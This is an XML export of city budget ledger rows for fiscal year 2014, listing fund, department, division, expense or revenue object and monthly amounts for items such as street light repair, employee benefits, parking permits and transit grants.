<row _id="12335"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566100.0</object><object_description>STREET LIGHT / POLE REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="12336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>2080</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>547.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>547.0</total></row>
<row _id="12338"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1048843.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>20437.03</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1069280.03</total></row>
<row _id="12339"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2161.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>54.17</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2215.17</total></row>
<row _id="12340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>142654.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>142654.0</total></row>
<row _id="12341"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12167.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12167.0</total></row>
<row _id="12342"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>84506.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>84506.0</total></row>
<row _id="12343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="12344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1913.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1913.0</total></row>
<row _id="12345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5368.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>1207</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6575.0</total></row>
<row _id="12346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2789.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>658</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3447.0</total></row>
<row _id="12347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25250.0</total></row>
<row _id="12348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24900.0</total></row>
<row _id="12349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4833.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>41.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4874.67</total></row>
<row _id="12350"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72733.0</total></row>
<row _id="12351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-29430.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29430.0</total></row>
<row _id="12352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29902.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29902.0</total></row>
<row _id="12353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>24140.0</june><total>24140.0</total></row>
<row _id="12354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139.0</total></row>
<row _id="12355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>324.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>324.0</total></row>
<row _id="12356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555130.0</object><object_description>TOXIC CHEMICAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>276000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276000.0</total></row>
<row _id="12357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>556036.0</object><object_description>USED OIL PAY PROG OPP4</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>25692</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25692.0</total></row>
<row _id="12358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401090.0</object><object_description>INDIRECT COSTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-11102190.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11102190.0</total></row>
<row _id="12359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1806000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-969000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2775000.0</total></row>
<row _id="12360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405370.0</object><object_description>DISCOUNT ON PERS PREPAYMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-1529046.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1529046.0</total></row>
<row _id="12361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-400000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="12362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMB-MISC</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-446690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-446690.0</total></row>
<row _id="12363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400290.0</object><object_description>PREF PARKING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-1280000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>232000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1048000.0</total></row>
<row _id="12364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555990.0</object><object_description>PARKING AGREEMENT W / MACERICH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2028923.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2028923.0</total></row>
<row _id="12365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>379377.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-144752.92</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>234624.08</total></row>
<row _id="12366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408670.0</object><object_description>METRO WAYFINDING DESIGN WORK</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="12367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407691.0</object><object_description>TAXI FRANCHISE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-355000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-355000.0</total></row>
<row _id="12368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511017.0</object><object_description>PERMANENT EMPLOY SWORN POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>243360.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>243360.0</total></row>
<row _id="12369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3783.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3783.0</total></row>
<row _id="12370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="12371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="12372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="12373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555218.0</object><object_description>COMMUNITY EMERGENCY RESP TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23899.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23899.0</total></row>
<row _id="12374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>615402.0</july><august>0</august><september>0</september><october>0</october><november>-168637</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>446765.0</total></row>
<row _id="12375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29048.0</july><august>0</august><september>0</september><october>0</october><november>-13174</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15874.0</total></row>
<row _id="12376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>563123.0</object><object_description>WISE SENIOR &amp; DISAB SVCS (PALR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>192711.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192711.0</total></row>
<row _id="12377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-446791.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-446791.0</total></row>
<row _id="12378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561115.0</object><object_description>OPCC SAFE HAVEN-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561119.0</object><object_description>OPCC SOJOURN - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="12380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>ST JOSEPH CENTER FSS - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7081.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7081.0</total></row>
<row _id="12381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29986.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29986.0</total></row>
<row _id="12382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
